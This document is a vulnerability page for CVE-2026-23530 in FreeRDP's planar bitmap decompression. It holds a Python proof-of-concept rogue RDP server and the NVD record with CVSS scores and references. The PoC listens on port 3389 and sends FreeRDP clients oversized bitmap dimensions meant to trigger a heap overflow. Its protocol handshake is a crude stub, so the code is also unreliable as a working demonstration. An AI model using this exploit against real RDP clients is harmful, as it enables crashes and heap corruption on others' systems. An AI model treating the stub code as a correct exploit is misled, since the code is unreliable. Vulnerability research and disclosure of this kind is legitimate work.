CVE-2026-23530

#!/usr/bin/env python3 # CVE-2026-23530 PoC - Malicious RDP Server # This PoC demonstrates the vulnerability in FreeRDP's planar bitmap decompression # DO NOT use for unauthorized testing import socket import struct import sys def create_malicious_bitmap_data(): """Craft bitmap data with oversized dimensions to trigger heap overflow""" # Malicious width/height values that exceed maxWidth/maxHeight malicious_width = 0x7FFFFFFF # Extremely large value malicious_height = 0x7FFFFFFF # Construct bitmap header with malicious dimensions bitmap_header = struct.pack('<III', malicious_width, # nSrcWidth - not validated malicious_height, # nSrcHeight - not validated 0x00000020 # bpp (32 bits per pixel) ) # RLE compressed data that will cause overflow when decoded rle_data = b'\xFF' * 1024 # Malicious RLE data return bitmap_header + rle_data def start_malicious_rdp_server(host='0.0.0.0', port=3389): """Start a rogue RDP server to exploit CVE-2026-23530""" server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((host, port)) server_socket.listen(5) print(f"[*] Malicious RDP server listening on {host}:{port}") print("[*] Waiting for FreeRDP client connection...") while True: try: client_socket, addr = server_socket.accept() print(f"[+] Client connected from {addr[0]}:{addr[1]}") # Send RDP handshake client_socket.send(b'\x03\x00\x00\x00\x00\x00') # Send malicious bitmap data to trigger overflow malicious_data = create_malicious_bitmap_data() client_socket.send(malicious_data) print("[*] Sent malicious bitmap data") client_socket.close() except Exception as e: print(f"[-] Error: {e}") continue if __name__ == '__main__': print("CVE-2026-23530 FreeRDP Heap Buffer Overflow PoC") print("Target: FreeRDP < 3.21.0") start_malicious_rdp_server()

{"cve": {"id": "CVE-2026-23530", "sourceIdentifier": "[email protected]", "published": "2026-01-19T17:15:50.747", "lastModified": "2026-01-28T18:53:04.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0,`freerdp_bitmap_decompress_planar` does not validate `nSrcWidth`/`nSrcHeight` against `planar->maxWidth`/`maxHeight` before RLE decode. A malicious server can trigger a client‑side heap buffer overflow, causing a crash (DoS) and potential heap corruption with code‑execution risk depending on allocator behavior and surrounding heap layout. Version 3.21.0 contains a patch for the issue."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.21.0, 'freerdp_bitmap_decompress_planar' no valida 'nSrcWidth'/'nSrcHeight' contra 'planar-&gt;maxWidth'/'maxHeight' antes de la decodificación RLE. Un servidor malicioso puede desencadenar un desbordamiento de búfer de pila del lado del cliente, causando un fallo (DoS) y una posible corrupción de la pila con riesgo de ejecución de código dependiendo del comportamiento del asignador y del diseño de la pila circundante. La versión 3.21.0 contiene un parche para el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.21.0", "matchCriteriaId": "E6899265-905F-4A3A-96D3-07B552FBFBEC"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/blob/38514dfa5813aa945a86cfbcec279033f8394468/libfreerdp/codec/planar.c#L1689-L1696", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/blob/38514dfa5813aa945a86cfbcec279033f8394468/libfreerdp/codec/planar.c#L1713-L1716", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/blob/38514dfa5813aa945a86cfbcec279033f8394468/libfreerdp/codec/planar.c#L951-L953", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.21.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-r4hv-852m-fq7p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}